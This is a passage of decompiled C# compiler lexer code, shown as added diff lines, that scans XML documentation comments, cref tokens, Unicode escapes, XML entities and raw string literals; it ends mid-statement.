+ private static bool IsXmlNameStartChar(char ch) + { + return XmlCharType.IsStartNCNameCharXml4e(ch); + } + + private static bool IsXmlNameChar(char ch) + { + return XmlCharType.IsNCNameCharXml4e(ch); + } + + private SyntaxToken LexXmlAttributeTextToken() + { + TokenInfo info = default(TokenInfo); + SyntaxListBuilder trivia = null; + LexXmlDocCommentLeadingTrivia(ref trivia); + Start(); + ScanXmlAttributeTextToken(ref info); + SyntaxDiagnosticInfo[] errors = GetErrors(GetFullWidth(trivia)); + return Create(in info, trivia, null, errors); + } + + private bool ScanXmlAttributeTextToken(ref TokenInfo info) + { + if (LocationIs(XmlDocCommentLocation.End)) + { + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + return true; + } + char ch; + char c = (ch = TextWindow.PeekChar()); + if ((uint)c <= 34u) + { + if (c == '\n' || c == '\r') + { + goto IL_00e2; + } + if (c != '"' || !ModeIs(LexerMode.XmlAttributeTextDoubleQuote)) + { + goto IL_0105; + } + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.DoubleQuoteToken; + } + else if ((uint)c <= 39u) + { + if (c != '&') + { + if (c != '\'' || !ModeIs(LexerMode.XmlAttributeTextQuote)) + { + goto IL_0105; + } + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.SingleQuoteToken; + } + else + { + ScanXmlEntity(ref info); + info.Kind = SyntaxKind.XmlEntityLiteralToken; + } + } + else if (c != '<') + { + if (c != '\uffff' || !TextWindow.IsReallyAtEnd()) + { + goto IL_0105; + } + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + } + else + { + TextWindow.AdvanceChar(); + info.Kind = SyntaxKind.LessThanToken; + } + goto IL_011f; + IL_0105: + if (SyntaxFacts.IsNewLine(ch)) + { + goto IL_00e2; + } + ScanXmlAttributeText(ref info); + info.Kind = SyntaxKind.XmlTextLiteralToken; + goto IL_011f; + IL_011f: + return info.Kind != SyntaxKind.None; + IL_00e2: + ScanXmlTextLiteralNewLineToken(ref info); + goto IL_011f; + } + + private void ScanXmlAttributeText(ref TokenInfo info) + { + while (true) + { + char c = TextWindow.PeekChar(); + switch (c) + { + case '"': + if (ModeIs(LexerMode.XmlAttributeTextDoubleQuote)) + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + goto default; + case '\'': + if (ModeIs(LexerMode.XmlAttributeTextQuote)) + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + goto default; + case '\n': + case '\r': + case '&': + case '<': + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + case '\uffff': + if (TextWindow.IsReallyAtEnd()) + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + goto default; + case '*': + if (StyleIs(XmlDocCommentStyle.Delimited) && TextWindow.PeekChar(1) == '/') + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + goto default; + default: + if (!SyntaxFacts.IsNewLine(c)) + { + break; + } + goto case '\n'; + } + TextWindow.AdvanceChar(); + } + } + + private SyntaxToken LexXmlCharacter() + { + TokenInfo info = default(TokenInfo); + SyntaxListBuilder trivia = null; + LexXmlDocCommentLeadingTriviaWithWhitespace(ref trivia); + Start(); + ScanXmlCharacter(ref info); + SyntaxDiagnosticInfo[] errors = GetErrors(GetFullWidth(trivia)); + return Create(in info, trivia, null, errors); + } + + private bool ScanXmlCharacter(ref TokenInfo info) + { + if (LocationIs(XmlDocCommentLocation.End)) + { + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + return true; + } + char c = TextWindow.PeekChar(); + if (c != '&') + { + if (c == '\uffff' && TextWindow.IsReallyAtEnd()) + { + info.Kind = SyntaxKind.EndOfFileToken; + } + else + { + info.Kind = SyntaxKind.XmlTextLiteralToken; + info.Text = (info.StringValue = TextWindow.NextChar().ToString()); + } + } + else + { + ScanXmlEntity(ref info); + info.Kind = SyntaxKind.XmlEntityLiteralToken; + } + return true; + } + + private SyntaxToken LexXmlCrefOrNameToken() + { + TokenInfo info = default(TokenInfo); + SyntaxListBuilder trivia = null; + LexXmlDocCommentLeadingTriviaWithWhitespace(ref trivia); + Start(); + ScanXmlCrefToken(ref info); + SyntaxDiagnosticInfo[] errors = GetErrors(GetFullWidth(trivia)); + return Create(in info, trivia, null, errors); + } + + private bool ScanXmlCrefToken(ref TokenInfo info) + { + if (LocationIs(XmlDocCommentLocation.End)) + { + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + return true; + } + int position = TextWindow.Position; + char ch = TextWindow.NextChar(); + char surrogate = '\uffff'; + if ((uint)ch <= 38u) + { + if ((uint)ch <= 13u) + { + if (ch == '\n' || ch == '\r') + { + goto IL_0131; + } + goto IL_0188; + } + if (ch != '"') + { + if (ch != '&') + { + goto IL_0188; + } + TextWindow.Reset(position); + if (!TryScanXmlEntity(out ch, out surrogate)) + { + TextWindow.Reset(position); + ScanXmlEntity(ref info); + info.Kind = SyntaxKind.XmlEntityLiteralToken; + return true; + } + } + else if (ModeIs(LexerMode.XmlCrefDoubleQuote) || ModeIs(LexerMode.XmlNameDoubleQuote)) + { + info.Kind = SyntaxKind.DoubleQuoteToken; + return true; + } + } + else if ((uint)ch <= 60u) + { + if (ch != '\'') + { + if (ch != '<') + { + goto IL_0188; + } + info.Text = TextWindow.GetText(intern: false); + AddError(XmlParseErrorCode.XML_LessThanInAttributeValue, info.Text); + return true; + } + if (ModeIs(LexerMode.XmlCrefQuote) || ModeIs(LexerMode.XmlNameQuote)) + { + info.Kind = SyntaxKind.SingleQuoteToken; + return true; + } + } + else if (ch != '{') + { + if (ch != '}') + { + if (ch != '\uffff' || !TextWindow.IsReallyAtEnd()) + { + goto IL_0188; + } + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + return true; + } + ch = '>'; + } + else + { + ch = '<'; + } + goto IL_0190; + IL_0190: + switch (ch) + { + case '(': + info.Kind = SyntaxKind.OpenParenToken; + break; + case ')': + info.Kind = SyntaxKind.CloseParenToken; + break; + case '[': + info.Kind = SyntaxKind.OpenBracketToken; + break; + case ']': + info.Kind = SyntaxKind.CloseBracketToken; + break; + case ',': + info.Kind = SyntaxKind.CommaToken; + break; + case '.': + if (AdvanceIfMatches('.')) + { + if (TextWindow.PeekChar() == '.') + { + AddCrefError(ErrorCode.ERR_UnexpectedCharacter, "."); + } + info.Kind = SyntaxKind.DotDotToken; + } + else + { + info.Kind = SyntaxKind.DotToken; + } + break; + case '?': + info.Kind = SyntaxKind.QuestionToken; + break; + case '&': + info.Kind = SyntaxKind.AmpersandToken; + break; + case '*': + info.Kind = SyntaxKind.AsteriskToken; + break; + case '|': + info.Kind = SyntaxKind.BarToken; + break; + case '^': + info.Kind = SyntaxKind.CaretToken; + break; + case '%': + info.Kind = SyntaxKind.PercentToken; + break; + case '/': + info.Kind = SyntaxKind.SlashToken; + break; + case '~': + info.Kind = SyntaxKind.TildeToken; + break; + case '{': + info.Kind = SyntaxKind.LessThanToken; + break; + case '}': + info.Kind = SyntaxKind.GreaterThanToken; + break; + case ':': + if (AdvanceIfMatches(':')) + { + info.Kind = SyntaxKind.ColonColonToken; + } + else + { + info.Kind = SyntaxKind.ColonToken; + } + break; + case '=': + if (AdvanceIfMatches('=')) + { + info.Kind = SyntaxKind.EqualsEqualsToken; + } + else + { + info.Kind = SyntaxKind.EqualsToken; + } + break; + case '!': + if (AdvanceIfMatches('=')) + { + info.Kind = SyntaxKind.ExclamationEqualsToken; + } + else + { + info.Kind = SyntaxKind.ExclamationToken; + } + break; + case '>': + if (AdvanceIfMatches('=')) + { + info.Kind = SyntaxKind.GreaterThanEqualsToken; + } + else + { + info.Kind = SyntaxKind.GreaterThanToken; + } + break; + case '<': + if (AdvanceIfMatches('=')) + { + info.Kind = SyntaxKind.LessThanEqualsToken; + } + else if (AdvanceIfMatches('<')) + { + info.Kind = SyntaxKind.LessThanLessThanToken; + } + else + { + info.Kind = SyntaxKind.LessThanToken; + } + break; + case '+': + if (AdvanceIfMatches('+')) + { + info.Kind = SyntaxKind.PlusPlusToken; + } + else + { + info.Kind = SyntaxKind.PlusToken; + } + break; + case '-': + if (AdvanceIfMatches('-')) + { + info.Kind = SyntaxKind.MinusMinusToken; + } + else + { + info.Kind = SyntaxKind.MinusToken; + } + break; + } + if (info.Kind != SyntaxKind.None) + { + string text = SyntaxFacts.GetText(info.Kind); + string text2 = TextWindow.GetText(intern: false); + if (!string.IsNullOrEmpty(text) && text2 != text) + { + info.RequiresTextForXmlEntity = true; + info.Text = text2; + info.StringValue = text; + } + } + else + { + TextWindow.Reset(position); + if (ScanIdentifier(ref info) && info.Text.Length > 0) + { + if (!InXmlNameAttributeValue && !info.IsVerbatim && !info.HasIdentifierEscapeSequence && _cache.TryGetKeywordKind(info.StringValue, out var kind)) + { + if (SyntaxFacts.IsContextualKeyword(kind)) + { + info.Kind = SyntaxKind.IdentifierToken; + info.ContextualKind = kind; + } + else + { + info.Kind = kind; + info.RequiresTextForXmlEntity = info.Text != info.StringValue; + } + } + else + { + info.ContextualKind = (info.Kind = SyntaxKind.IdentifierToken); + } + } + else if (ch == '@') + { + if (TextWindow.PeekChar() == '@') + { + TextWindow.NextChar(); + info.Text = TextWindow.GetText(intern: true); + info.StringValue = ""; + } + else + { + ScanXmlEntity(ref info); + } + info.Kind = SyntaxKind.IdentifierToken; + AddError(ErrorCode.ERR_ExpectedVerbatimLiteral); + } + else if (TextWindow.PeekChar() == '&') + { + ScanXmlEntity(ref info); + info.Kind = SyntaxKind.XmlEntityLiteralToken; + AddCrefError(ErrorCode.ERR_UnexpectedCharacter, info.Text); + } + else + { + char charValue = TextWindow.NextChar(); + info.Text = TextWindow.GetText(intern: false); + if (MatchesProductionForXmlChar(charValue)) + { + AddCrefError(ErrorCode.ERR_UnexpectedCharacter, info.Text); + } + else + { + AddError(XmlParseErrorCode.XML_InvalidUnicodeChar); + } + } + } + return info.Kind != SyntaxKind.None; + IL_0188: + if (SyntaxFacts.IsNewLine(ch)) + { + goto IL_0131; + } + goto IL_0190; + IL_0131: + TextWindow.Reset(position); + ScanXmlTextLiteralNewLineToken(ref info); + goto IL_0190; + } + + private bool AdvanceIfMatches(char ch) + { + char c = TextWindow.PeekChar(); + if (c == ch || (c == '{' && ch == '<') || (c == '}' && ch == '>')) + { + TextWindow.AdvanceChar(); + return true; + } + if (c == '&') + { + int position = TextWindow.Position; + if (TryScanXmlEntity(out var ch2, out var surrogate) && ch2 == ch && surrogate == '\uffff') + { + return true; + } + TextWindow.Reset(position); + } + return false; + } + + private void AddCrefError(ErrorCode code, params object[] args) + { + AddCrefError((DiagnosticInfo?)(object)AbstractLexer.MakeError(code, args)); + } + + private void AddCrefError(DiagnosticInfo? info) + { + if (info != null) + { + AddError(ErrorCode.WRN_ErrorOverride, info, info.Code); + } + } + + private SyntaxToken LexXmlCDataSectionTextToken() + { + TokenInfo info = default(TokenInfo); + SyntaxListBuilder trivia = null; + LexXmlDocCommentLeadingTrivia(ref trivia); + Start(); + ScanXmlCDataSectionTextToken(ref info); + SyntaxDiagnosticInfo[] errors = GetErrors(GetFullWidth(trivia)); + return Create(in info, trivia, null, errors); + } + + private bool ScanXmlCDataSectionTextToken(ref TokenInfo info) + { + if (LocationIs(XmlDocCommentLocation.End)) + { + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + return true; + } + char ch; + char c = (ch = TextWindow.PeekChar()); + if ((uint)c <= 13u) + { + if (c == '\n' || c == '\r') + { + goto IL_007d; + } + goto IL_00a0; + } + if (c != ']') + { + if (c != '\uffff' || !TextWindow.IsReallyAtEnd()) + { + goto IL_00a0; + } + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + } + else + { + if (TextWindow.PeekChar(1) != ']' || TextWindow.PeekChar(2) != '>') + { + goto IL_00a0; + } + TextWindow.AdvanceChar(3); + info.Kind = SyntaxKind.XmlCDataEndToken; + } + goto IL_00ba; + IL_00ba: + return true; + IL_00a0: + if (SyntaxFacts.IsNewLine(ch)) + { + goto IL_007d; + } + ScanXmlCDataSectionText(ref info); + info.Kind = SyntaxKind.XmlTextLiteralToken; + goto IL_00ba; + IL_007d: + ScanXmlTextLiteralNewLineToken(ref info); + goto IL_00ba; + } + + private void ScanXmlCDataSectionText(ref TokenInfo info) + { + while (true) + { + char c = TextWindow.PeekChar(); + if ((uint)c <= 13u) + { + if (c == '\n' || c == '\r') + { + break; + } + } + else + { + switch (c) + { + case ']': + if (TextWindow.PeekChar(1) == ']' && TextWindow.PeekChar(2) == '>') + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + break; + case '\uffff': + if (TextWindow.IsReallyAtEnd()) + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + break; + case '*': + if (StyleIs(XmlDocCommentStyle.Delimited) && TextWindow.PeekChar(1) == '/') + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + break; + } + } + if (SyntaxFacts.IsNewLine(c)) + { + break; + } + TextWindow.AdvanceChar(); + } + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + } + + private SyntaxToken LexXmlCommentTextToken() + { + TokenInfo info = default(TokenInfo); + SyntaxListBuilder trivia = null; + LexXmlDocCommentLeadingTrivia(ref trivia); + Start(); + ScanXmlCommentTextToken(ref info); + SyntaxDiagnosticInfo[] errors = GetErrors(GetFullWidth(trivia)); + return Create(in info, trivia, null, errors); + } + + private bool ScanXmlCommentTextToken(ref TokenInfo info) + { + if (LocationIs(XmlDocCommentLocation.End)) + { + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + return true; + } + char ch; + char c = (ch = TextWindow.PeekChar()); + if ((uint)c <= 13u) + { + if (c == '\n' || c == '\r') + { + goto IL_0099; + } + goto IL_00bc; + } + if (c != '-') + { + if (c != '\uffff' || !TextWindow.IsReallyAtEnd()) + { + goto IL_00bc; + } + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + } + else + { + if (TextWindow.PeekChar(1) != '-') + { + goto IL_00bc; + } + if (TextWindow.PeekChar(2) == '>') + { + TextWindow.AdvanceChar(3); + info.Kind = SyntaxKind.XmlCommentEndToken; + } + else + { + TextWindow.AdvanceChar(2); + info.Kind = SyntaxKind.MinusMinusToken; + } + } + goto IL_00d6; + IL_00d6: + return true; + IL_00bc: + if (SyntaxFacts.IsNewLine(ch)) + { + goto IL_0099; + } + ScanXmlCommentText(ref info); + info.Kind = SyntaxKind.XmlTextLiteralToken; + goto IL_00d6; + IL_0099: + ScanXmlTextLiteralNewLineToken(ref info); + goto IL_00d6; + } + + private void ScanXmlCommentText(ref TokenInfo info) + { + while (true) + { + char c = TextWindow.PeekChar(); + if ((uint)c <= 13u) + { + if (c == '\n' || c == '\r') + { + break; + } + } + else + { + switch (c) + { + case '-': + if (TextWindow.PeekChar(1) == '-') + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + break; + case '\uffff': + if (TextWindow.IsReallyAtEnd()) + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + break; + case '*': + if (StyleIs(XmlDocCommentStyle.Delimited) && TextWindow.PeekChar(1) == '/') + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + break; + } + } + if (SyntaxFacts.IsNewLine(c)) + { + break; + } + TextWindow.AdvanceChar(); + } + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + } + + private SyntaxToken LexXmlProcessingInstructionTextToken() + { + TokenInfo info = default(TokenInfo); + SyntaxListBuilder trivia = null; + LexXmlDocCommentLeadingTrivia(ref trivia); + Start(); + ScanXmlProcessingInstructionTextToken(ref info); + SyntaxDiagnosticInfo[] errors = GetErrors(GetFullWidth(trivia)); + return Create(in info, trivia, null, errors); + } + + private bool ScanXmlProcessingInstructionTextToken(ref TokenInfo info) + { + if (LocationIs(XmlDocCommentLocation.End)) + { + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + return true; + } + char ch; + char c = (ch = TextWindow.PeekChar()); + if ((uint)c <= 13u) + { + if (c == '\n' || c == '\r') + { + goto IL_006d; + } + goto IL_0090; + } + if (c != '?') + { + if (c != '\uffff' || !TextWindow.IsReallyAtEnd()) + { + goto IL_0090; + } + info.Kind = SyntaxKind.EndOfDocumentationCommentToken; + } + else + { + if (TextWindow.PeekChar(1) != '>') + { + goto IL_0090; + } + TextWindow.AdvanceChar(2); + info.Kind = SyntaxKind.XmlProcessingInstructionEndToken; + } + goto IL_00aa; + IL_006d: + ScanXmlTextLiteralNewLineToken(ref info); + goto IL_00aa; + IL_00aa: + return true; + IL_0090: + if (SyntaxFacts.IsNewLine(ch)) + { + goto IL_006d; + } + ScanXmlProcessingInstructionText(ref info); + info.Kind = SyntaxKind.XmlTextLiteralToken; + goto IL_00aa; + } + + private void ScanXmlProcessingInstructionText(ref TokenInfo info) + { + while (true) + { + char c = TextWindow.PeekChar(); + if ((uint)c <= 13u) + { + if (c == '\n' || c == '\r') + { + break; + } + } + else + { + switch (c) + { + case '?': + if (TextWindow.PeekChar(1) == '>') + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + break; + case '\uffff': + if (TextWindow.IsReallyAtEnd()) + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + break; + case '*': + if (StyleIs(XmlDocCommentStyle.Delimited) && TextWindow.PeekChar(1) == '/') + { + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + return; + } + break; + } + } + if (SyntaxFacts.IsNewLine(c)) + { + break; + } + TextWindow.AdvanceChar(); + } + info.StringValue = (info.Text = TextWindow.GetText(intern: false)); + } + + private void LexXmlDocCommentLeadingTrivia(ref SyntaxListBuilder? trivia) + { + int position = TextWindow.Position; + Start(); + if (LocationIs(XmlDocCommentLocation.Start) && StyleIs(XmlDocCommentStyle.Delimited)) + { + if (TextWindow.PeekChar() == '/' && TextWindow.PeekChar(1) == '*' && TextWindow.PeekChar(2) == '*' && TextWindow.PeekChar(3) != '*') + { + TextWindow.AdvanceChar(3); + string text = TextWindow.GetText(intern: true); + AddTrivia(SyntaxFactory.DocumentationCommentExteriorTrivia(text), ref trivia); + MutateLocation(XmlDocCommentLocation.Interior); + } + } + else if (LocationIs(XmlDocCommentLocation.Start) || LocationIs(XmlDocCommentLocation.Exterior)) + { + while (true) + { + char c = TextWindow.PeekChar(); + switch (c) + { + case '\t': + case '\v': + case '\f': + case ' ': + goto IL_00fb; + case '/': + if (StyleIs(XmlDocCommentStyle.SingleLine) && TextWindow.PeekChar(1) == '/' && TextWindow.PeekChar(2) == '/' && TextWindow.PeekChar(3) != '/') + { + TextWindow.AdvanceChar(3); + string text3 = TextWindow.GetText(intern: true); + AddTrivia(SyntaxFactory.DocumentationCommentExteriorTrivia(text3), ref trivia); + MutateLocation(XmlDocCommentLocation.Interior); + return; + } + break; + case '*': + if (StyleIs(XmlDocCommentStyle.Delimited)) + { + while (TextWindow.PeekChar() == '*' && TextWindow.PeekChar(1) != '/') + { + TextWindow.AdvanceChar(); + } + string text2 = TextWindow.GetText(intern: true); + if (!string.IsNullOrEmpty(text2)) + { + AddTrivia(SyntaxFactory.DocumentationCommentExteriorTrivia(text2), ref trivia); + } + if (TextWindow.PeekChar() == '*' && TextWindow.PeekChar(1) == '/') + { + TextWindow.AdvanceChar(2); + AddTrivia(SyntaxFactory.DocumentationCommentExteriorTrivia("*/"), ref trivia); + MutateLocation(XmlDocCommentLocation.End); + } + else + { + MutateLocation(XmlDocCommentLocation.Interior); + } + return; + } + break; + } + if (!SyntaxFacts.IsWhitespace(c)) + { + break; + } + goto IL_00fb; + IL_00fb: + TextWindow.AdvanceChar(); + } + if (StyleIs(XmlDocCommentStyle.SingleLine)) + { + TextWindow.Reset(position); + MutateLocation(XmlDocCommentLocation.End); + return; + } + string text4 = TextWindow.GetText(intern: true); + if (!string.IsNullOrEmpty(text4)) + { + AddTrivia(SyntaxFactory.DocumentationCommentExteriorTrivia(text4), ref trivia); + } + MutateLocation(XmlDocCommentLocation.Interior); + } + else if (!LocationIs(XmlDocCommentLocation.End) && StyleIs(XmlDocCommentStyle.Delimited) && TextWindow.PeekChar() == '*' && TextWindow.PeekChar(1) == '/') + { + TextWindow.AdvanceChar(2); + string text5 = TextWindow.GetText(intern: true); + AddTrivia(SyntaxFactory.DocumentationCommentExteriorTrivia(text5), ref trivia); + MutateLocation(XmlDocCommentLocation.End); + } + } + + private void LexXmlDocCommentLeadingTriviaWithWhitespace(ref SyntaxListBuilder? trivia) + { + while (true) + { + LexXmlDocCommentLeadingTrivia(ref trivia); + char ch = TextWindow.PeekChar(); + if (LocationIs(XmlDocCommentLocation.Interior) && (SyntaxFacts.IsWhitespace(ch) || SyntaxFacts.IsNewLine(ch))) + { + LexXmlWhitespaceAndNewLineTrivia(ref trivia); + continue; + } + break; + } + } + + private void LexXmlWhitespaceAndNewLineTrivia(ref SyntaxListBuilder? trivia) + { + Start(); + if (!LocationIs(XmlDocCommentLocation.Interior)) + { + return; + } + char c = TextWindow.PeekChar(); + switch (c) + { + case '\t': + case '\v': + case '\f': + case ' ': + AddTrivia(ScanWhitespace(), ref trivia); + break; + case '\n': + case '\r': + { + CSharpSyntaxNode trivia2 = ScanEndOfLine(); + AddTrivia(trivia2, ref trivia); + MutateLocation(XmlDocCommentLocation.Exterior); + break; + } + case '*': + if (StyleIs(XmlDocCommentStyle.Delimited) && TextWindow.PeekChar(1) == '/') + { + break; + } + goto default; + default: + if (SyntaxFacts.IsWhitespace(c)) + { + goto case '\t'; + } + if (!SyntaxFacts.IsNewLine(c)) + { + break; + } + goto case '\n'; + } + } + + private bool IsUnicodeEscape() + { + if (TextWindow.PeekChar() == '\\') + { + char c = TextWindow.PeekChar(1); + if (c == 'U' || c == 'u') + { + return true; + } + } + return false; + } + + private char PeekCharOrUnicodeEscape(out char surrogateCharacter) + { + if (IsUnicodeEscape()) + { + return PeekUnicodeEscape(out surrogateCharacter); + } + surrogateCharacter = '\uffff'; + return TextWindow.PeekChar(); + } + + private char PeekUnicodeEscape(out char surrogateCharacter) + { + int position = TextWindow.Position; + SyntaxDiagnosticInfo info; + char result = ScanUnicodeEscape(peek: true, out surrogateCharacter, out info); + TextWindow.Reset(position); + return result; + } + + private char NextCharOrUnicodeEscape(out char surrogateCharacter, out SyntaxDiagnosticInfo? info) + { + char c = TextWindow.PeekChar(); + if (c == '\\') + { + char c2 = TextWindow.PeekChar(1); + if (c2 == 'U' || c2 == 'u') + { + return ScanUnicodeEscape(peek: false, out surrogateCharacter, out info); + } + } + surrogateCharacter = '\uffff'; + info = null; + TextWindow.AdvanceChar(); + return c; + } + + private char NextUnicodeEscape(out char surrogateCharacter, out SyntaxDiagnosticInfo? info) + { + return ScanUnicodeEscape(peek: false, out surrogateCharacter, out info); + } + + private char ScanUnicodeEscape(bool peek, out char surrogateCharacter, out SyntaxDiagnosticInfo? info) + { + surrogateCharacter = '\uffff'; + info = null; + int position = TextWindow.Position; + char c = TextWindow.PeekChar(); + TextWindow.AdvanceChar(); + c = TextWindow.PeekChar(); + if (c == 'U') + { + uint num = 0u; + TextWindow.AdvanceChar(); + if (!SyntaxFacts.IsHexDigit(TextWindow.PeekChar())) + { + if (!peek) + { + info = CreateIllegalEscapeDiagnostic(position); + } + } + else + { + for (int i = 0; i < 8; i++) + { + c = TextWindow.PeekChar(); + if (!SyntaxFacts.IsHexDigit(c)) + { + if (!peek) + { + info = CreateIllegalEscapeDiagnostic(position); + } + break; + } + num = (uint)((num << 4) + SyntaxFacts.HexValue(c)); + TextWindow.AdvanceChar(); + } + if (num > 1114111) + { + if (!peek) + { + info = CreateIllegalEscapeDiagnostic(position); + } + } + else + { + c = GetCharsFromUtf32(num, out surrogateCharacter); + } + } + } + else + { + int num2 = 0; + TextWindow.AdvanceChar(); + if (!SyntaxFacts.IsHexDigit(TextWindow.PeekChar())) + { + if (!peek) + { + info = CreateIllegalEscapeDiagnostic(position); + } + } + else + { + for (int j = 0; j < 4; j++) + { + char c2 = TextWindow.PeekChar(); + if (!SyntaxFacts.IsHexDigit(c2)) + { + if (c == 'u' && !peek) + { + info = CreateIllegalEscapeDiagnostic(position); + } + break; + } + num2 = (num2 << 4) + SyntaxFacts.HexValue(c2); + TextWindow.AdvanceChar(); + } + c = (char)num2; + } + } + return c; + } + + public bool TryScanXmlEntity(out char ch, out char surrogate) + { + ch = '&'; + TextWindow.AdvanceChar(); + surrogate = '\uffff'; + switch (TextWindow.PeekChar()) + { + case 'l': + if (TextWindow.AdvanceIfMatches("lt;")) + { + ch = '<'; + return true; + } + break; + case 'g': + if (TextWindow.AdvanceIfMatches("gt;")) + { + ch = '>'; + return true; + } + break; + case 'a': + if (TextWindow.AdvanceIfMatches("amp;")) + { + ch = '&'; + return true; + } + if (TextWindow.AdvanceIfMatches("apos;")) + { + ch = '\''; + return true; + } + break; + case 'q': + if (TextWindow.AdvanceIfMatches("quot;")) + { + ch = '"'; + return true; + } + break; + case '#': + { + TextWindow.AdvanceChar(); + uint num = 0u; + if (TextWindow.AdvanceIfMatches("x")) + { + char c; + while (SyntaxFacts.IsHexDigit(c = TextWindow.PeekChar())) + { + TextWindow.AdvanceChar(); + if (num <= 134217727) + { + num = (num << 4) + (uint)SyntaxFacts.HexValue(c); + continue; + } + return false; + } + } + else + { + char c2; + while (SyntaxFacts.IsDecDigit(c2 = TextWindow.PeekChar())) + { + TextWindow.AdvanceChar(); + if (num <= 134217727) + { + num = (num << 3) + (num << 1) + (uint)SyntaxFacts.DecValue(c2); + continue; + } + return false; + } + } + if (TextWindow.AdvanceIfMatches(";")) + { + ch = GetCharsFromUtf32(num, out surrogate); + return true; + } + break; + } + } + return false; + } + + private SyntaxDiagnosticInfo CreateIllegalEscapeDiagnostic(int start) + { + return new SyntaxDiagnosticInfo(start - TextWindow.LexemeStartPosition, TextWindow.Position - start, ErrorCode.ERR_IllegalEscape); + } + + internal static char GetCharsFromUtf32(uint codepoint, out char lowSurrogate) + { + if (codepoint < 65536) + { + lowSurrogate = '\uffff'; + return (char)codepoint; + } + lowSurrogate = (char)((codepoint - 65536) % 1024 + 56320); + return (char)((codepoint - 65536) / 1024 + 55296); + } + + private int ConsumeCharSequence(char ch) + { + int position = TextWindow.Position; + while (TextWindow.PeekChar() == ch) + { + TextWindow.AdvanceChar(); + } + return TextWindow.Position - position; + } + + private int ConsumeQuoteSequence() + { + return ConsumeCharSequence('"'); + } + + private int ConsumeDollarSignSequence() + { + return ConsumeCharSequence('$'); + } + + private int ConsumeAtSignSequence() + { + return ConsumeCharSequence('@'); + } + + private int ConsumeOpenBraceSequence() + { + return ConsumeCharSequence('{'); + } + + private int ConsumeCloseBraceSequence() + { + return ConsumeCharSequence('}'); + } + + private void ConsumeWhitespace(StringBuilder? builder) + { + while (true) + { + char c = TextWindow.PeekChar(); + if (SyntaxFacts.IsWhitespace(c)) + { + builder?.Append(c); + TextWindow.AdvanceChar(); + continue; + } + break; + } + } + + private bool IsAtEndOfText(char currentChar) + { + if (currentChar == '\uffff') + { + return TextWindow.IsReallyAtEnd(); + } + return false; + } + + private void ScanRawStringLiteral(ref TokenInfo info, bool inDirective) + { + _builder.Length = 0; + int num = ConsumeQuoteSequence(); + ConsumeWhitespace(null); + if (SyntaxFacts.IsNewLine(TextWindow.PeekChar())) + { + ScanMultiLineRawStringLiteral(ref info, num); + } + else + { + ScanSingleLineRawStringLiteral(ref info, num); + } + if (base.HasErrors) + { + int num2 = TextWindow.LexemeStartPosition + num; + int length = TextWindow.Position - num2; + info.StringValue = TextWindow.GetText(num2, length, intern: true); + } + if (!inDirective && ScanUtf8Suffix()) + { + switch (info.Kind) + { + case SyntaxKind.SingleLineRawStringLiteralToken: + info.Kind = SyntaxKind.Utf8SingleLineRawStringLiteralToken; + break; + case SyntaxKind.MultiLineRawStringLiteralToken: + info.Kind = SyntaxKind.Utf8MultiLineRawStringLiteralToken; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)info.Kind); + } + } + info.Text = TextWindow.GetText(intern: true); + } + + private void ScanSingleLineRawStringLiteral(ref TokenInfo info, int startingQuoteCount) + { + info.Kind = SyntaxKind.SingleLineRawStringLiteralToken; + int position; + int num; + while (true) + { + char c = TextWindow.PeekChar(); + if (SyntaxFacts.IsNewLine(c)) + { + AddError(TextWindow.Position, TextWindow.GetNewLineWidth(), ErrorCode.ERR_UnterminatedRawString); + return; + } + if (IsAtEndOfText(c)) + { + AddError(TextWindow.Position, 0, ErrorCode.ERR_UnterminatedRawString); + return; + } + if (c != '"') + { + TextWindow.AdvanceChar(); + continue; + } + position = TextWindow.Position; + num = ConsumeQuoteSequence(); + if (num >= startingQuoteCount) + { + break; + } + } + if (num > startingQuoteCount) + { + int num2 = num - startingQuoteCount; + AddError(TextWindow.Position - num2, num2, ErrorCode.ERR_TooManyQuotesForRawString); + } + int num3 = TextWindow.LexemeStartPosition + startingQuoteCount; + int length = position - num3; + info.StringValue = TextWindow.GetText(num3, length, intern: true); + } + + private void ScanMultiLineRawStringLiteral(ref TokenInfo info, int startingQuoteCount) + { + info.Kind = SyntaxKind.MultiLineRawStringLiteralToken; + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + PooledStringBuilder instance2 = PooledStringBuilder.GetInstance(); + try + { + int position = TextWindow.Position; + int num = 0; + while (ScanMultiLineRawStringLiteralLine(startingQuoteCount, instance.Builder)) + { + num++; + } + if (base.HasErrors) + { + return; + } + if (num == 0) + { + AddError(TextWindow.Position - startingQuoteCount, startingQuoteCount, ErrorCode.ERR_RawStringMustContainContent); + return; + } + int position2 = TextWindow.Position; + TextWindow.Reset(position); + for (int i = 0; i < num; i++) + { + AddMultiLineRawStringLiteralLineContents(instance.Builder, instance2.Builder, i == 0); + if (base.HasErrors) + { + break; + } + } + info.StringValue = 